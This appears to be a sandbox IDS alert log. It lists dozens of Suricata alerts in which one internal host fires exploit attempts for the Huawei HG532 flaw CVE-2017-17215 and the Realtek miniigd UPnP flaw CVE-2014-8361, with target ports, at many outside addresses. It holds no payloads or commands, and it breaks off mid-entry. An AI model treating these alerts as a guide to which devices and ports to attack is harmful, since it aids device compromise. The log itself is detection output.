ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.98.109.246

Timestamp:	07/20/24-23:01:31.976795
SID:	2829579
Source Port:	39016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.232.109.220

Timestamp:	07/20/24-23:01:46.471349
SID:	2027339
Source Port:	42752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.104.14.193

Timestamp:	07/20/24-23:01:40.320408
SID:	2829579
Source Port:	57214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.161.202.23

Timestamp:	07/20/24-23:01:31.991548
SID:	2835222
Source Port:	49102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 81.184.225.73

Timestamp:	07/20/24-23:01:27.708151
SID:	2835222
Source Port:	54590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.117.206.184

Timestamp:	07/20/24-23:01:01.406953
SID:	2027339
Source Port:	43978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 136.52.234.90

Timestamp:	07/20/24-23:01:11.642449
SID:	2835222
Source Port:	54306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.134.191.30

Timestamp:	07/20/24-23:00:59.175742
SID:	2829579
Source Port:	39616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.73.57.190

Timestamp:	07/20/24-23:01:52.425638
SID:	2831300
Source Port:	59232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.176.211.200

Timestamp:	07/20/24-23:01:41.347676
SID:	2027339
Source Port:	46104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.154.77.145

Timestamp:	07/20/24-23:01:03.486619
SID:	2025132
Source Port:	43862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.150.198

Timestamp:	07/20/24-23:01:00.634089
SID:	2829579
Source Port:	38216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.78.48.17

Timestamp:	07/20/24-23:01:42.612377
SID:	2831300
Source Port:	60004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 202.108.222.223

Timestamp:	07/20/24-23:01:14.296756
SID:	2829579
Source Port:	45326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.68.195.20

Timestamp:	07/20/24-23:01:20.593003
SID:	2831300
Source Port:	33050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.133.236.43

Timestamp:	07/20/24-23:01:31.977603
SID:	2835222
Source Port:	58014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.28.211

Timestamp:	07/20/24-23:01:40.310207
SID:	2829579
Source Port:	33310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.7.238

Timestamp:	2024-07-20T23:01:18.378788+0200
SID:	2835222
Source Port:	35138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.86.139.164

Timestamp:	2024-07-20T23:01:21.240985+0200
SID:	2027339
Source Port:	46470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 221.83.41.173

Timestamp:	2024-07-20T23:00:59.181164+0200
SID:	2835222
Source Port:	44702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 149.227.100.108

Timestamp:	2024-07-20T23:01:18.543930+0200
SID:	2835222
Source Port:	52740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.20.70.247

Timestamp:	2024-07-20T23:01:21.005202+0200
SID:	2027339
Source Port:	50400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.184.40.220

Timestamp:	2024-07-20T23:01:21.107414+0200
SID:	2027339
Source Port:	59236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.178.1

Timestamp:	2024-07-20T23:01:02.108705+0200
SID:	2835222
Source Port:	44728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.176.41.115

Timestamp:	2024-07-20T23:01:00.658630+0200
SID:	2835222
Source Port:	40708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.23.236.194

Timestamp:	2024-07-20T23:01:19.867575+0200
SID:	2027339
Source Port:	59266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.23.236.194

Timestamp:	2024-07-20T23:01:09.030401+0200
SID:	2027339
Source Port:	33440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.101.108.92

Timestamp:	2024-07-20T23:01:20.847594+0200
SID:	2027339
Source Port:	40048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.27.5.34

Timestamp:	2024-07-20T23:01:21.281290+0200
SID:	2027339
Source Port:	42804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.22.219

Timestamp:	2024-07-20T23:00:59.201622+0200
SID:	2835222
Source Port:	44596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.173.93.85

Timestamp:	2024-07-20T23:01:00.658298+0200
SID:	2835222
Source Port:	35120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.210.25.215

Timestamp:	2024-07-20T23:00:59.218458+0200
SID:	2835222
Source Port:	37938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 150.124.88.37

Timestamp:	2024-07-20T23:00:59.206164+0200
SID:	2835222
Source Port:	59138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.10.103.253

Timestamp:	2024-07-20T23:01:21.558739+0200
SID:	2027339
Source Port:	47360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.27.232.7

Timestamp:	2024-07-20T23:01:09.081648+0200
SID:	2027339
Source Port:	40564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.31.223.242

Timestamp:	2024-07-20T23:01:22.262887+0200
SID:	2027339
Source Port:	52076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.1.160.57

Timestamp:	2024-07-20T23:01:19.861229+0200
SID:	2027339
Source Port:	40704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.75.68.114

Timestamp:	2024-07-20T23:00:59.232786+0200
SID:	2835222
Source Port:	51490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.231.240.156

Timestamp:	2024-07-20T23:00:59.164966+0200
SID:	2835222
Source Port:	36240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.58.211.164

Timestamp:	2024-07-20T23:01:20.201073+0200
SID:	2835222
Source Port:	57304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 164.204.194.37

Timestamp:	2024-07-20T23:01:02.088423+0200
SID:	2835222
Source Port:	45562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.144.159.228

Timestamp:	2024-07-20T23:01:09.206647+0200
SID:	2027339
Source Port:	44382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.136.236.137

Timestamp:	2024-07-20T23:01:21.202997+0200
SID:	2027339
Source Port:	50620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.247.106.185

Timestamp:	2024-07-20T23:00:59.181164+0200
SID:	2835222
Source Port:	58398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.227.14.32

Timestamp:	2024-07-20T23:01:21.978629+0200
SID:	2027339
Source Port:	57824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.234.100.63

Timestamp:	2024-07-20T23:01:19.920436+0200
SID:	2027339
Source Port:	51918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.49.28.217

Timestamp:	2024-07-20T23:01:21.295537+0200
SID:	2027339
Source Port:	55444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.115.27.6

Timestamp:	2024-07-20T23:01:21.559701+0200
SID:	2027339
Source Port:	44326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.134.191.30

Timestamp:	2024-07-20T23:00:59.186953+0200
SID:	2835222
Source Port:	39616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.188.89.36

Timestamp:	2024-07-20T23:01:25.607392+0200
SID:	2027339
Source Port:	34588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.69.175.230

Timestamp:	2024-07-20T23:01:21.014789+0200
SID:	2027339
Source Port:	39280
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.50.33.93

Timestamp:	2024-07-20T23:01:21.194402+0200
SID:	2835222
Source Port:	60530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.50.46.65

Timestamp:	2024-07-20T23:01:21.177250+0200
SID:	2835222
Source Port:	51646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.113.182.239

Timestamp:	2024-07-20T23:00:59.223718+0200
SID:	2835222
Source Port:	55620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.77.131.53

Timestamp:	2024-07-20T23:01:18.265358+0200
SID:	2835222
Source Port:	58196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 46.47.224.132

Timestamp:	2024-07-20T23:01:18.445147+0200
SID:	2835222
Source Port:	53230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.80.86.165

Timestamp:	2024-07-20T23:01:18.252895+0200
SID:	2835222
Source Port:	54222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.191.248.36

Timestamp:	2024-07-20T23:01:00.658630+0200
SID:	2835222
Source Port:	57288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.204.212.245

Timestamp:	2024-07-20T23:01:20.383814+0200
SID:	2027339
Source Port:	45948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 143.28.80.1

Timestamp:	2024-07-20T23:00:59.170218+0200
SID:	2835222
Source Port:	47450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.99.9.223

Timestamp:	2024-07-20T23:01:00.658630+0200
SID:	2835222
Source Port:	59806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.240.255.134

Timestamp:	2024-07-20T23:01:18.293486+0200
SID:	2835222
Source Port:	38628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.108.103.192

Timestamp:	2024-07-20T23:01:20.862093+0200
SID:	2027339
Source Port:	37328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.234.224

Timestamp:	2024-07-20T23:01:21.299570+0200
SID:	2835222
Source Port:	47806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.81.198.30

Timestamp:	2024-07-20T23:01:18.601452+0200
SID:	2835222
Source Port:	34110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.124.29.47

Timestamp:	2024-07-20T23:00:59.211994+0200
SID:	2835222
Source Port:	50040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.61.238.254

Timestamp:	2024-07-20T23:01:08.919725+0200
SID:	2027339
Source Port:	45992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.105.54.148

Timestamp:	2024-07-20T23:01:20.835694+0200
SID:	2027339
Source Port:	56652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.240.149.129

Timestamp:	2024-07-20T23:01:18.361765+0200
SID:	2835222
Source Port:	42574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.240.87.211

Timestamp:	2024-07-20T23:00:59.227759+0200
SID:	2835222
Source Port:	59652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.254.84.115

Timestamp:	2024-07-20T23:01:04.236014+0200
SID:	2027339
Source Port:	60634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.123.176.91

Timestamp:	2024-07-20T23:00:59.203029+0200
SID:	2835222
Source Port:	44104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.219.175.178

Timestamp:	2024-07-20T23:01:21.286674+0200
SID:	2027339
Source Port:	42622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.145.57.110

Timestamp:	2024-07-20T23:01:20.204357+0200
SID:	2835222
Source Port:	42496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.251.206.76

Timestamp:	2024-07-20T23:00:59.222385+0200
SID:	2835222
Source Port:	58804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.93.123.78

Timestamp:	2024-07-20T23:01:18.497886+0200
SID:	2835222
Source Port:	41354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.63.115.173

Timestamp:	2024-07-20T23:01:09.027075+0200
SID:	2027339
Source Port:	32880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.86.136.162

Timestamp:	2024-07-20T23:01:21.129434+0200
SID:	2027339
Source Port:	49530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.165.91.44

Timestamp:	2024-07-20T23:00:59.201622+0200
SID:	2835222
Source Port:	44056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.176.144.80

Timestamp:	2024-07-20T23:01:18.550419+0200
SID:	2835222
Source Port:	38764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.139.28.102

Timestamp:	2024-07-20T23:01:21.558641+0200
SID:	2835222
Source Port:	33796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.247.217.62

Timestamp:	2024-07-20T23:01:00.657714+0200
SID:	2835222
Source Port:	46764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.27.201

Timestamp:	2024-07-20T23:01:21.946714+0200
SID:	2835222
Source Port:	48956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 117.206.232.47

Timestamp:	2024-07-20T23:01:02.095698+0200
SID:	2835222
Source Port:	33456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.167.37.167

Timestamp:	2024-07-20T23:01:19.583414+0200
SID:	2027339
Source Port:	54336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CINS Active Threat Intelligence Poor Reputation IP group 49 - Source IP: 41.38.200.66 - Destination IP: 192.168.2.23

Timestamp:	2024-07-20T23:01:05.340054+0200
SID:	2403348
Source Port:	37215
Destination Port:	34477
Protocol:	TCP
Classtype:	Misc Attack

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.167.170.254

Timestamp:	2024-07-20T23:01:19.826087+0200
SID:	2027339
Source Port:	37134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.13.46

Timestamp:	2024-07-20T23:01:18.397150+0200
SID:	2835222
Source Port:	46632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.187.1.61

Timestamp:	2024-07-20T23:00:59.180699+0200
SID:	2835222
Source Port:	44268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.41.122.187

Timestamp:	2024-07-20T23:00:59.208769+0200
SID:	2835222
Source Port:	36304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.253.87

Timestamp:	2024-07-20T23:01:02.068477+0200
SID:	2835222
Source Port:	56422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.188.89.36

Timestamp:	2024-07-20T23:01:21.676428+0200
SID:	2027339
Source Port:	60586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.43.220.26

Timestamp:	2024-07-20T23:01:02.079114+0200
SID:	2835222
Source Port:	53720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.198.233.204

Timestamp:	2024-07-20T23:01:21.019040+0200
SID:	2027339
Source Port:	55470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.174.150.26

Timestamp:	2024-07-20T23:00:59.223718+0200
SID:	2835222
Source Port:	50398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.167.11.188

Timestamp:	2024-07-20T23:01:19.869088+0200
SID:	2027339
Source Port:	57358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.64.245.14

Timestamp:	2024-07-20T23:01:21.259313+0200
SID:	2027339
Source Port:	60020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.179.102.199

Timestamp:	2024-07-20T23:01:21.845388+0200
SID:	2027339
